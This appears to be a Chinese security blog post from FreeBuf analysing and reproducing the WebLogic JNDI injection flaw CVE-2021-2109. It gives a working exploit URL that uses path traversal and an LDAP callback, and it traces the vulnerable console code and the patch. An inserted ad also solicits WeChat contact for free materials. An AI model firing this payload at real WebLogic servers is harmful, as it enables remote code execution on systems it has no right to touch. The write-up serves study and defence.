freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

WebLogic JNDI 注入(CVE-2021-2109)
2023-03-02 10:07:10
所属地 湖南省

0x01 前言

学习一下 WebLogic JNDI 注入 RCE(CVE-2021-2109)

0x02 环境搭建

和之前 WebLogic 的环境搭建是一致的,本文不再赘述。

不过值得一提的是,我的 weblogic 版本是 10.3.6;需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar到依赖里面

0x03 漏洞分析与复现

漏洞影响版本与前提条件

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。

拥有访问 /console/consolejndi.portal页面的用户权限,或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析

漏洞原理

WebLogic 的 /console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。

漏洞复现

payload 如下

http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)

我本地开启了一个 JNDI 的 Evil Class 和 Server

202303011442907.png

用 payload 打成功

202303011442909.png

漏洞分析

根据 payload 分析,先从 consolejndi.portal开始看起,.portal文件就类似于一个 servlet,在 consolejndi.portal中存在 JNDI Binding 操作的处理容器,如图

202303011442910.png

具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet

202303011442912.png


【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)


去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction类中,发现存在一个 execute()方法,疑似存在 jndi 注入的漏洞。

202303011445189.png

观察需要如何构造恶意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean);得来,而 serverMBean是通过 domainMBean.lookupServer(serverName);得来,其中一系列关系我将会由下图说明

202303011442913.png

接着我们自上而下顺序看代码,先是强转了一个 JndiBindingHandle类,这里面 getHandleContext()的逻辑并不复杂,最终会调用 JndiBindingHandle 的构造函数。

202303011442914.png

如图,我们在 payload 当中的这一段被放进了构造函的 type与 objectIdentifier中,而 "ldapxxxx"这一段会被放在 components 中,由分号分隔

JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer")

继续往下看,我们想要进入 JNDI 注入的那一段代码,需要满足两个条件,一个是 serverMBean != null,另一个是 c != null,我们进到 serverMBean看一下代码逻辑

  • lookupServer是 DommainMBean接口的方法,我们去看它的实现类

202303011442913.png

202303011442915.png

实际上这里是动态代理调用的,会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke下,其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代码逻辑在实现类当中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer

202303011442916.png

我们需要走到 do while 的逻辑里面,返回 var3,而不是返回 null

202303011442917.png

通过调试得到 var2 的值为 AdminServer,这里没有其他的值了,原因如图

202303011442918.png

202303011442919.png

所以此处要求我们输入的 var1 与 AdminServer相同,回过头去看 var1 是什么呢,var1 其实是 serverName

202303011442920.png

发现 serverName 也是可控的

202303011442921.png

现在 serverBean != null没问题,就要看 jndi lookup 的地址是否可控。

很明显,jndi lookup 的地址也是可控的

202303011442922.png

我们进到 JndiBindingHandle类去看一下 set/getComponents()的逻辑,先调用了 HandleImpl#getComponent

202303011442923.png

跟进

202303011442924.png

主要逻辑就是在讲,以 ;分隔,如此一来,我们就可控 context 与 binding,可以进行 jndi 注入

最后捋一下整体条件

1、;号隔开 jndi 地址2、serverName 必须为 AdminServer

0x04 漏洞修复

根据 Y4er 师傅这里的说法是,对 Jndi 的黑名单进行了判断,如图

202303011442925.png

0x05 小结

不算难的一个漏洞,只是环境搭建当时踩了很多坑,欢迎师傅们与我交流踩坑问题,我会竭力帮助。

更多网安技能的在线实操练习,请点击这里>>


# 漏洞分析 # 漏洞复现 # CVE-2021-2109
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录